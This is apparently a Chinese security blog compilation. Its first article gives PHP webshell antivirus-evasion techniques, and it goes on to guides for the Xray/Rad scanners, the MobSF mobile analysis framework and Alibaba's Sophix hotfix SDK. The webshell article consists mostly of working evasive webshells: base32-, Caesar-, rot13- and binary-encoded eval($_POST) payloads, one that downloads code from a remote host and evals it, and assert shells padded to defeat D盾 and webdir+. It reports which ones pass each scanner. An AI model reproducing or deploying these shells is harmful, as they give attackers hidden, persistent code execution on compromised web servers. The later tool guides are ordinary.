一些webshell免杀的技巧

一些webshell免杀的技巧

本文转自pureqh 并作补充

0x00:前言

由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。

0x01:自定义加密Bypass

部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+

image

比如这个 都能被检测出是shell

所以为了防止这种的规则 自定义加密显然是最优解

自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位 甚至是对称加密算法等都是可以绕过这类规则检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->LRXV = @SYXJ($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function MNWK($QSFX){
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$NLHB = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
$v <<= 8;
$v += ord($QSFX[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$NLHB .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);}}
if ($vbits > 0){
$v <<= (5 - $vbits);
$NLHB .= $BASE32_ALPHABET[$v];}
return $NLHB;}
function SYXJ($QSFX){
$NLHB = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
$v <<= 5;
if ($QSFX[$i] >= 'a' && $QSFX[$i] <= 'z'){
$v += (ord($QSFX[$i]) - 97);
} elseif ($QSFX[$i] >= '2' && $QSFX[$i] <= '7') {
$v += (24 + $QSFX[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8){
$vbits -= 8;
$NLHB .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);}}
return $NLHB;}
?>

image

  • ascii码移位payload(凯撒加密)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class FKPC{
function __construct(){
$this->TQYV = "bs^i%!\MLPQXwbolZ&8";
$this->WZDM = @HHGJ($this->TQYV);
@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
}}
new FKPC();
function HHGJ($UyGv) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
$svfe[] = chr((ord($f[$i])+3));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>

image

居然没过webdir+

那如何解决呢 我们后面再说 当然应付D盾还是绰绰有余了

image

Rot13加密payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'riny($_CBFG[mreb]);';
$this->LRXV = @str_rot13($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();

?>

二进制转化payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';
$this->LRXV = @BinToStr($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function BinToStr($str){
$arr = explode(' ', $str);
foreach($arr as &$v){
$v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));
}

return join('', $arr);
}
?>

image

这里就不列举了 只要方法正确 绕过杀软是很简单的

0x02:通过http获得关键参数

上面那个凯撒密码不是被webdir+杀了吗 我们在这里将他绕过

众所周知凯撒密码需要设置往前或往后移几位ascii 这个参数可以设置为解密方法的输入参数 经过测试 此参数在源码中会被沙盒跑出了 因此不能过百度杀毒 ,那么 我不写本地不就行了 我直接起一个http服务访问文本获得参数值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class FKPC{
function __construct(){
$url = "http://xxxxx:8080/1.txt";
$fp = fopen($url, 'r');
stream_get_meta_data($fp);
while (!feof($fp)) {
$body.= fgets($fp, 1024);
}
$this->x = $body;
$this->TQYV = "bs^i%!\MLPQXwbolZ&8";
$this->WZDM = @HHGJ($this->TQYV,$this->x);
@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
}}
new FKPC();

function HHGJ($UyGv,$x) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
$svfe[] = chr((ord($f[$i])+$x));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>

image

当然肯定能用

image

但是 这转了一圈简直不低碳啊 我不能直接http获取payload吗 …

简化代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class KUYE{
public $a = 'yshasaui';
public $b = '';
function __construct(){
$url = "http://xxx/1.txt";
$fp = fopen($url, 'r');
stream_get_meta_data($fp);
while (!feof($fp)) {
$body.= fgets($fp, 1024);
}
$this->b = $body;
@eval("/*GnSpe=121u*/".$this->b."/*Gn212Spe=u*/");
}}
new KUYE();
?>

image

image

0x03:重写函数Bypass

众所周知 正则类杀软最喜欢直接把危险函数加入规则 那么 它杀的是函数名 还是逻辑呢?

试一试就知道了

我们的样本如下:

1
2
3
4
5
6
7
<?php

$a = substr("assertxx",0,6);

$a($_POST['x']);

?>

这是个使用substr函数切割关键字的小马

直接扔到webdir+杀

image

毫无疑问的被杀了

那么 我们重写substr函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}

然后把函数替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$b = 'assert(xyz@';
$c = mysubstr($b,0,6);
$c($_POST['zero']);
function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}
?>

再拿去杀

image

结论很清楚了

再来D盾杀一下

image

不错 报2级了 这就是沙盒型查杀和正则类查杀的明显区别 怎么过呢 用构造方法即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class pure
{
public $a = '';
function __destruct(){

assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}
?>

image

看到这里大家可能也很奇怪 这里都没用到mysubstr函数 放上去不是多此一举吗

不好意思 恰恰不是 我们可以去掉这个函数 用D盾杀一下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class pure
{
public $a = '';
function __destruct(){

assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
?>

image

怎么样 是不是很有趣

这里放这堆代码并不是为了真的用它 而是为了过D盾的特征查杀 所以放什么函数是无所谓的。

比如这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class pure
{
public $a = '';
function __destruct(){

assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($a,$b) {
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
}
?>

image

这里只介绍了重写substr函数 那么其他的函数可以吗 当然可以

0x04:写在后面

只要思想不滑坡 方法总比困难多

Xray、Rad两款工具的使用与联动

Xray、Rad两款工具的使用与联动

本文转自夏初春末_昊 并作补充

1、Xray的简介

xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:

1、检测速度快。发包速度快; 漏洞检测算法效率高。
2、支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。
3、代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。
4、高级可定制。通过配置文件暴露了引擎的各种参数,通过修改配置文件可以客制化功能。
5、安全无威胁。xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为无害化检查。
这是Xray的官方教程https://docs.xray.cool/#/

2、Xray的使用

2.1、下载Xray

https://github.com/chaitin/xray/releases

2.2、使用powershell进入到下载解压的目录

1
2
.\Xray.exe --运行xray
.\Xray.exe version --查看版本号

2.3、使用 xray 代理模式进行漏洞扫描

(1)代理模式下,扫描器作为中间人,首先原样转发流量,并返回服务器响应给浏览器等客户端,通讯两端都认为自己直接与对方对话,同时记录该流量,然后修改参数并重新发送请求进行扫描。
(2)在浏览器使用 https 协议通信的情况下,必须要得到客户端的信任,才能建立与客户端的通信。这里的突破口就是 ca 证书。只要自定义的 ca 证书得到了客户端的信任,xray 就能用该 ca 证书签发各种伪造的服务器证书,从而获取到通信内容。

1
./xray_darwin_amd64 genca --生成ca证书

双击 ca.crt,将证书导入到受信任的目录

image

(3)xray 配置文件中默认不允许扫描 gov 和 edu 等网站,如果想对这些网站进行授权测试,需要移除 config.yml中的hostname_disallowed 的相关配置。

2.4、开始扫描

使用powershell执行如下命令

1
2
./xray.exe webscan --listen 127.0.0.1:7777 --html-output xray-scan.html  ---启动监听
./xray.exe webscan --url-file edu.txt --html-output edu.html

(1)启动监听之后,浏览器开启127.0.0.1/7777的代理
(2)浏览器访问网页就行,xray会自动进行扫描

2.5、使用 xray 基础爬虫模式进行漏洞扫描

(1)爬虫模式是模拟人工去点击网页的链接,然后去分析扫描,和代理模式不同的是,爬虫不需要人工的介入,访问速度要快很多
./xray.exe webscan –basic-crawler http://127.0.0.1/pikachu/vul/sqli/sqli_str.php –html-output pachong_pikachu.html
(2)登录后的网站扫描。如果用的是代理模式,只要浏览器是登录状态,那么漏洞扫描收到的请求也都是登录状态的请求。对于普通爬虫而言,就没有这么“自动化”了, 可以通过配置 Cookie 的方式实现登录后的扫描。打开配置文件,修改 http 配置部分的 Headers 项:(配置文件修改)

1
2
3
http:
headers:
Cookie: key=value

2.6、漏洞扫描时使用代理(配置文件修改)

1
proxy:"	"	# 漏洞扫描时使用的代理,如: http://127.0.0.1:8080

3、Rad简介

Rad是长亭科技开发的一款目录爬取工具,因为xray自动化爬取功能欠佳,所以结合rad可以更高效的自动爬取。注意,rad只是爬取目标的目录,不爬取子域!!

3.1、下载Rad

https://github.com/chaitin/rad/releases

3.2、Rad的使用

下载好后进入解压的目录,执行如下命令进行使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rad -t http://example.com
需要手动登录的情况

rad -t http://example.com -wait-login
执行以上命令会自动禁用无头浏览模式,开启一个浏览器供手动登录。 在登录完毕后在命令行界面点击回车键继续爬取。

rad -t http://example.com -text-output vuln.txt
以上命令会将爬取到的URL输出到vuln.txt中

导出完整请求
rad -t http://example.com -full-text-output result.txt

完美使用语法如下
rad_windows_amd64.exe -t http://example.com -text-output vuln.txt -wait-login

4、Xray与Rad联动

4.1、rad+xray高效扫描

(1)xray开启代理监听

1
xray.exe  webscan --listen 127.0.0.1:7777 --html-output proxy.html 

(2)rad对目标进行爬取,代理到xray上

1
rad -t http://127.0.0.1/pikachu/ -http-proxy 127.0.0.1:7777  -wait-login

MobSF移动安全测试框架|自动化静动态app分析框架

MobSF移动安全测试框架|自动化静动态app分析框架

本文转自雨苁 并作补充

移动安全框架(MobSF)是一种自动化的多合一移动应用程序(Android/iOS/Windows)可以进行静态和动态分析的渗透测试,恶意软件分析和安全评估框架。MobSF支持移动应用程序二进制文件(APK,XAPK,IPA和APPX)以及压缩的源代码,并提供REST API以与CI / CD或DevSecOps管道无缝集成。动态分析器可帮助您执行运行时安全性评估和交互式检测。

运行截图示例

静态分析-Android

image

静态分析-Android源树状视图

image

静态分析-iOS

image

动态分析-Android APK

image

Web API查看器

image

项目地址:

Github

安装方法

requirements.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Django>=3.1.5
lxml>=4.6.2
rsa>=4.7
biplist>=1.0.3
requests>=2.25.1
bs4>=0.0.1
colorlog>=4.7.2
macholib>=1.14
whitenoise>=5.2.0
waitress>=1.4.4;platform_system=='Windows'
gunicorn>=20.0.4;platform_system!='Windows'
psutil>=5.8.0
shelljob>=0.6.2
asn1crypto>=1.4.0
oscrypto>=1.2.1
distro>=1.5.0
IP2Location>=8.5.1
lief>=0.11.0
http-tools>=2.1.0
libsast>=1.3.7
pdfkit>=0.6.1
google-play-scraper>=0.1.2
androguard==3.3.5
apkid==2.1.2
frida==14.2.8
# For semgrep
ruamel.yaml==0.16.10 # pyup: ignore

现在,只要您已安装文档中的所有要求,就可以从pypi https://pypi.org/project/mobsf/安装mobsf

1
2
3
4
5
6
7
8
9
python3 -m venv venv
source venv/bin/activate

pip wheel --wheel-dir=yara-python --build-option="build" --build-option="--enable-dex" git+https://github.com/VirusTotal/yara-python.git@v3.11.0
pip install --no-index --find-links=yara-python yara-python

pip install mobsf
mobsfdb # 迁移数据库
mobsf 127.0.0.1:8000 # 运行mobsf

linux系统安装方法

1
2
3
4
5
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
apt-get install python3-venv
pip3 install -r requirements.txt
./setup.sh

在浏览器中打开链接(0.0.0.0:8000),查看MobSF是否已正确安装。

image

登陆页面

现在MobSF已启动并正在运行,我们可以将虚拟APK(在本例中,我将使用Kyle Benac的InjuredAndroid(在此处))放入MobSF界面,然后看看会发生什么。等待几分钟后,我们可以看到对APK进行了静态分析。现在,在登录页面上,我们可以看到给出了严重性评分。此分数越高,应用程序越安全。接下来,还给出了哈希,APK的文件名和大小。在第一行的第三列中,我们还可以看到软件包名称,主要活动,最小SDK版本和应用程序版本。还给出了应用程序的描述。

image

向下滚动一点后,我们将看到以下内容:

  • 在小卡片中,我们看到了不同的应用程序组件
  • 动态分析选项将帮助MobSF进行运行时分析
  • 查看反编译代码的选项。这是apktool生成的代码。通常,资源文件也将被解码。也可以查看smali代码。使用它,可以更轻松地在单独的Java类中分离和查看源代码。

image

签署者证书分析

在证书列中,我们可以看到签署者证书,在其中可以找到有关开发人员,国家/地区,州,算法类型,位大小等的重要信息。

image

申请权限

此外,我们可以看到应用程序具有的所有权限。
有各种权限被分类为危险或正常。
从安全分析人员的角度来看,重要的是要了解哪些权限可能导致进一步的损害。例如,如果应用程序可以访问外部媒体并将关键信息存储在外部媒体上,则可能会很危险,因为存储在外部媒体上的文件是全局可读和可写的。

image

可浏览的活动和网络安全分析

接下来,在“可浏览的活动”部分中,我们可以看到实现了深层链接架构的所有活动。请参考**此处** 的文章****以了解有关深层链接,其实现以及开发的所有信息。

在“网络安全”部分,您可以找到有关与应用程序相关的网络安全问题的一些详细信息。这些问题有时会导致类似MiTM的严重攻击。例如,在下面的屏幕截图中,您可以发现该应用程序未使用已实现的SSL固定机制。

image

清单分析

在下一节中,MobSF分析了清单文件。您可以从android清单文件中找到许多信息,例如导出了哪些活动,是否可调试应用程序,数据模式等。有关参考,请参见下面的屏幕截图。

image

代码分析

MobSF工具最有趣的功能之一是代码分析部分。在本节中,我们可以看到MobSF已经基于OWASP MSTG等行业安全标准做法对应用程序的某些行为进行了分析和比较,并将漏洞映射到OWASP Top10。有趣的是,在这里提到了CWE和CVSS评分,这很有趣。可能会帮助各种分析人员方案,并有助于更轻松地创建报告。

image

相关恶意软件分析

MobSF还托管提供APKiD分析的部分。APKiD是一个开源工具,对识别Android文件中的各种打包程序,编译器,混淆器等非常有用。它类似于APK中的PEiD。在这里,您可以看到它已在APK中检测到反VM代码。

image

与恶意软件分析有关的是域恶意软件检查功能。MobSF在这里提取所有经过硬编码或在应用程序中使用过的URL / IP地址,并显示其恶意软件状态,并使用ip2location给出其地理位置。

image

还可以进行全面的字符串分析。知道恶意软件分析的人员会深入了解字符串,但对于那些不了解字符串的人,字符串是文件中嵌入的ASCII和Unicode可打印字符序列。提取字符串可以提供有关程序功能和与可疑二进制文件关联的指示符的线索。例如,如果APK将某些内容显示为输出,则该流将被调用并因此显示在字符串中。这与strings.xml文件不同。很多时候,与APK通信的第三方IP地址在此处可见。从恶意软件分析的角度来看,这是必不可少的。

image

人们还可以在MobSF中找到硬编码的电子邮件。全部使用反编译的源代码完成。通常,一个pentester可以找到一些重要的电子邮件ID,这些电子邮件ID在第三方站点上被用作凭证,例如,用于访问数据库。

image

就像电子邮件一样,URL也经常被硬编码。人们可以找到有时正在使用的多汁URL。分析师经常发现恶意URL甚至是C&C服务器也被访问。

image

硬编码的秘密

通常,开发人员习惯于在string.xml中存储诸如AWS ID和凭证之类的关键密钥,并在Java活动中使用对象作为引用。但是这样做没有任何帮助,因为strings.xml可以轻松解码。

image

活动组件存在

使用MobSF还可滚动显示所有存在的活动的列表。这可以深入了解Android APK的骨架。另外,如果开发人员进行了混淆处理,有时jadx会用一些随机字母替换类的真实名称,MobSF也可以关联其真实名称(并非一直存在或在强烈混淆的情况下不会发生)。

image

同样,分析师也可以遍历服务,广播,提供者和内容接收者以及APK存档中存在的所有文件,以创建应用程序中存在的所有资源的地图。

image

动态分析仪

为了进行动态分析,我们需要先在genymotion中启动android VM。在这里,我已经在7.1版上创建了一个Android VM

image

当您按顶部导航窗格上的动态分析器选项时,如果MobSF和genymotion在同一台基本计算机上运行,则MobSF将自动将其自身附加到正在运行的VM。但是,如果MobSF在另一个虚拟机中,则可能必须将MobSF代理附加到genymotion的VM的远程IP和端口。连接后,我们将看到以下屏幕。

image

在分析器状态栏下,我们可以看到各种可用的默认frida脚本,这些脚本可以检查各种基本漏洞,例如SSL固定绕过和根检测。如果您还没有阅读有关frida的信息,请通过此处阅读。还有其他辅助脚本,使分析人员可以枚举各种类,还可以实时捕获字符串比较(再次有助于恶意软件分析人员的观点)。然后,只需单击“开始检测”,选定的脚本将自动附加到应用程序。因此,如果我选择了SSL Pinning绕过脚本,并且捕获了流量(以后在日志或API监视器中可见),那将意味着SSL Pinning被绕过了。

image

现在,要进一步分析活动的漏洞,可以在顶部看到两个按钮,分别用于已导出和未导出的活动

image

同样,如果不必使用预先配置的Frida脚本,也可以将Frida脚本粘贴到右侧的文本框中。还有一个下拉框可以加载这些脚本。您也可以编辑相同的内容。

image

Logcat流

Logcat也可以在MobSF的本地环境中查看。顶部菜单上有一个按钮,可让用户查看此内容。

image

API监控器

就像logcat监视设备日志一样,也可以监视API。APK实时使用各种API来执行各种功能,例如Base64库。

image

因此,如果函数正在使用此API并解密一个值,我们可以在此处看到该值并对其进行解码。例如,在下面您可以在Base64中看到一次此类函数的返回值。

image

下载报告

完成分析后,可以通过滑动左侧的菜单栏滑块并单击生成报告来下载报告。

image

生成报告时,您可能会注意到一些错误。要解决此问题,您可以按照以下命令安装wkhtmltopdf模块:

1
apt-get install wkhtmltopdf

image

现在,再次单击最近的扫描栏,您将看到静态和动态报告生成选项。

image

该报告如下所示:

image

结论

MobSF是在Android APK上进行自动化分析的绝佳工具。它并没有涵盖对所有漏洞的分析,许多测试只能手动进行,但它是一个非常漂亮的小工具,可以在很大程度上帮助分析师。

from

阿里热修复Sophix的使用指南

阿里热修复Sophix的使用指南

本文转自五问 并作补充

一、阿里云热修复Sophix的介绍

1.1、首先看一下市场上热修复方案的比较:

https://help.aliyun.com/document_detail/434850.html

image

1.2、收费情况:

https://help.aliyun.com/document_detail/434858.html

image

二、接入指南

2.1、准备

  1. 准备好阿里云账号
  2. 进行身份实名认证
  3. 移动研发平台EMAS,进行项目创建,创建后会生成一个aliyun-emas-services.json 文件,里面包含了热修复sdk接入时所需的密钥,很重要

2.2、EMAS平台的添加流程如下:

2.2.1、添加应用

image

image

生成应用的key信息文件,如果建议按需接入所需功能,没必要也不安全,按下图将文件放入到app中

image

下图的红框中的添加sdk也是,添加emas平台中的所有功能,建议按需接入某个功能(如:热修),另外该插件在Android gradle 7之上会报错

image

2.3、热修复接入

https://help.aliyun.com/document_detail/434883.html

注意点如下:

使用gradle plugin版本高于4.2时,可能会自动开启资源优化。开启资源优化后,资源名称被混淆,会导致补丁工具在生成补丁时一直卡在”开始构建补丁…..”,无法正常解析apk包。解决方案:在gradle.properties 中新增android.enableResourceOptimizations=false,重新生成基线包和修复包,然后再生成补丁。

密钥的使用推荐在SophixStubApplication 中初始化,而不是在AndroidManifest文件中配置

使用android studio打包生成apk时,要关闭instant run。

queryAndLoadNewPatch方法用来请求控制台发布的补丁包,会涉及设备信息读取,所以必须在用户同意隐私协议之后调用。另外用户可根据业务情况,酌情考虑是否打开此开关。

但不可放在attachBaseContext中,否则无网络权限,建议放在主进程用户同意隐私协议之后的任意时刻。

接入流程步骤如下:

添加工程依赖

1. Android Studio集成方式

1
2
3
4
5
6
7
8
9
10
11
12
13
gradle远程仓库依赖, 打开项目找到App的build.gradle文件,添加如下配置:

添加Maven仓库地址:

****

```
repositories {
maven {
url "http://maven.aliyun.com/nexus/content/repositories/releases"
}
}
```

2.添加gradle坐标版本依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
android {
......
defaultConfig {
applicationId "com.xxx.xxx" //包名
......
ndk {
//选择要添加的对应cpu类型的.so库。
//热修复支持五种
abiFilters 'arm64-v8a', 'armeabi', 'armeabi-v7a', 'x86', 'x86_64'
}
......
}
......
}
dependencies {
......
compile 'com.aliyun.ams:alicloud-android-hotfix:3.3.5'
......
}

3.添加应用权限

Sophix SDK使用到以下权限,使用Maven依赖或者aar依赖可以不用配置。具体配置在AndroidManifest.xml中。

1
2
3
4
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

4.配置AndroidManifest文件

也可以不用配置(直接在SophixStubApplication,文件中初始化配置即可(推荐在SophixStubApplication中配置)),在 移动研发平台EMAS,进行项目创建,创建后会生成一个aliyun-emas-services.json 文件,里面包含了热修复sdk接入时所需的密钥

AndroidManifest.xml中间的application节点下添加如下配置:

1
2
3
4
5
6
7
8
9
<meta-data
android:name="com.taobao.android.hotfix.IDSECRET"
android:value="App ID" />
<meta-data
android:name="com.taobao.android.hotfix.APPSECRET"
android:value="App Secret" />
<meta-data
android:name="com.taobao.android.hotfix.RSASECRET"
android:value="RSA密钥" />

5. 混淆配置,按需配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
```
#基线包使用,生成mapping.txt
-printmapping mapping.txt
#生成的mapping.txt在app/build/outputs/mapping/release路径下,移动到/app路径下
#修复后的项目使用,保证混淆结果一致
#-applymapping mapping.txt
#hotfix
-keep class com.taobao.sophix.**{*;}
-keep class com.ta.utdid2.device.**{*;}
#防止inline
-dontoptimize
```
**
**重要**

开启混淆时,生成修复包要使用旧包的mapping文件以保证混淆结果一致。
初始化

6. 初始化

初始化的调用应该尽可能的早,必须在Application.attachBaseContext()的最开始(在super.attachBaseContext之后,如果有Multidex,也需要在Multidex.install之后)进行SDK初始化操作,初始化之前不能用到其他自定义类,否则极有可能导致崩溃。而查询服务器是否有可用补丁的操作可以在后面的任意地方。不建议在Application.onCreate()中初始化,因为如果带有ContentProvider,就会使得Sophix初始化时机太迟从而引发问题。

Sophix最新版本引入了新的初始化方式。

原来的初始化方式仍然可以使用。只是新方式可以提供更全面的功能修复支持,将会带来以下优点:

  • 初始化与应用原先业务代码完全隔离,使得原先真正的Application可以修复,并且减少了补丁预加载时间等等。
  • 新方式能够更完美地兼容Android 8.0以后版本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public class SophixStubApplication extends SophixApplication {
private final String TAG = "SophixStubApplication";
String appVersion = "0.0.0";

// 此处SophixEntry应指定真正的Application,并且保证RealApplicationStub类名不被混淆。
@SophixEntry(MyApplication.class)
static class RealApplicationStub {
}

@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
initSophix();
}

private void initSophix() {
try {
appVersion = this.getPackageManager()
.getPackageInfo(this.getPackageName(), 0)
.versionName;
} catch (Exception e) {
}
final SophixManager instance = SophixManager.getInstance();
List<String> tags = new ArrayList<>();
///todo 构建正式包之前需要修改为:
///tags.add("production");
tags.add("test"); //这个值就是,你进行灰度包热修时,要填写的tag
for (String tag : tags) {
Log.e(TAG, "sophix tag:" + tag);
}
instance.setContext(this)
.setAppVersion(appVersion)
.setEnableDebug(false)
.setEnableFullLog()
.setTags(tags)
.setSecretMetaData("你自己的hotfix.idSecret",
"你自己的emas.appSecret",
"你自己的hotfix.rsaSecret")
.setPatchLoadStatusStub(new PatchLoadStatusListener() {
@Override
public void onLoad(final int mode, final int code, final String info, final int handlePatchVersion) {
Log.e(TAG, "sophix handlePatchVersion:" + handlePatchVersion + " /code:" + code + " /info:" + info);
if (code == PatchStatus.CODE_LOAD_SUCCESS) {
///重启后会装载补丁会调用该方法
Log.e(TAG, "sophix load patch " + handlePatchVersion + " success!" + info);
} else if (code == PatchStatus.CODE_LOAD_RELAUNCH) {
///补丁加载成功会调用该方法
// 如果需要在后台重启,建议此处用SharePreference保存状态。
Log.e(TAG, "sophix preload patch success. restart app to make effect. handlePatchVersion:" + handlePatchVersion);

Intent intent = new Intent();
intent.putExtra("message", "恭喜你,成功接收到发送的广播" + PatchStatus.CODE_LOAD_RELAUNCH);
intent.setAction("可使用重启广播重启");
sendBroadcast(intent);
}
}
}).initialize();
}

}

7.最后,需要把AndroidManifest里面的application改为这个新增的SophixStubApplication类:

1
2
3
4
<application
android:name="com.my.pkg.SophixStubApplication"
... ...>
... ...

这样便完成了新方式的初始化接入改造。

三、热修复打差量包流程 热修控制台地址

https://emas.console.aliyun.com/service/devTool/hotfix/patch

3.1、找到热修界面添加应用

如下图:注意应用版本必须与你的versionName一致,否则会导致后续下发查找不到差量包

image

image

3.2、打差量包

https://help.aliyun.com/document_detail/434864.html

  1. 准备好SophixPatchTool_windows打包工具各版本打包工具如下:
  1. 打一个release的包
  2. 再第2步的release包的基础上修改一些内容,在打一个release包
  3. 利用工具开始打包,如下图

注意: 每次热修差量包的生成的基础包就是你上次发版后的包,并不是说你在进行第三次热修时,用第二次的热修包,作为基准包

问题包:1.0-querelease-2022-12-07.apk,修复包:1.0-release-2022-12-07.apk

image

打开工具:

image

选择两个包填充

image

选择设置填好keystore

image

选择高级,默认如下图,强制冷启动就是补丁包下发后必须重启,建议勾选强制冷启动,为何:看下面解释

image

Sophix何时走即时生效热修复,何时走冷启动修复?https://help.aliyun.com/document_detail/53227.htm?spm=5176.2020520104.0.0.385a3f1bbai0Ta#topic-1993907

配置完成后点击Go开始打差量包

image

成功

image

sophix-patch.jar 就是打出的差量包

image

四、上传补丁-发布

4.1、添加你的应用版本,然后上传补丁

image

4.2、发布补丁

上传后点击发布如下图

image

下载[hotfixdebug]工具验证你的补丁包是否成功,调试流程原文如下链接:

https://help.aliyun.com/document_detail/434866.html

image

调试没问题后点击上图的新建发布

image

发布的话:有全量,灰度两种,灰度的话 ,需要设置指定标签tag,就是你的应用app中Sophix所配置的,如下图:(推荐是全量)

image

4.3、发布成功后在app中调用查询补丁方法

SophixManager.getInstance().queryAndLoadNewPatch()

后续将回调PatchLoadStatusListener如下图

image

依次出现热修状态码如下,状态码含义:

https://help.aliyun.com/document_detail/434886.html?spm=a2c4g.11186623.0.0.6cdf4b0cnRYOiA

image

image

上图加载成功后提示需要重启后热修生效

五、测试用例

1. 修改一个toast文案,然后修复成功。

2. 修改一张图片,增加一张新的图片进行展示,增加点击效果,增加一个新的类生成提示文案(mipmap-hdpi、drawable-xhdpi、drawable、都添加图片)

drawable-xhdpi 中新增热修图片添加可能会存在问题:如下,然后按要求在drawable 中添加后,热修成功。

https://help.aliyun.com/document_detail/338384.html

image

3. 添加assets文件,热修成功。

4. 四大组件不行,因为需要在AndroidManifest.xml文件中配置,热修的时候使用的话会报找不到的,需要注册异常,如下图

image

5. 删除测试4中的组件跳转流程,热修测试成功,

6. 删除测试2中添加的xml中的代码与相关资源,热修测试成功

注意:

1.热修包存在的话,每杀死app,初始化进来都会走

1
2
3
onLoad方法的回调

code == PatchStatus.CODE_LOAD_SUCCESS

image

2.同一个热修包,设置不同的tag,然后点击下发的话都会下发一次

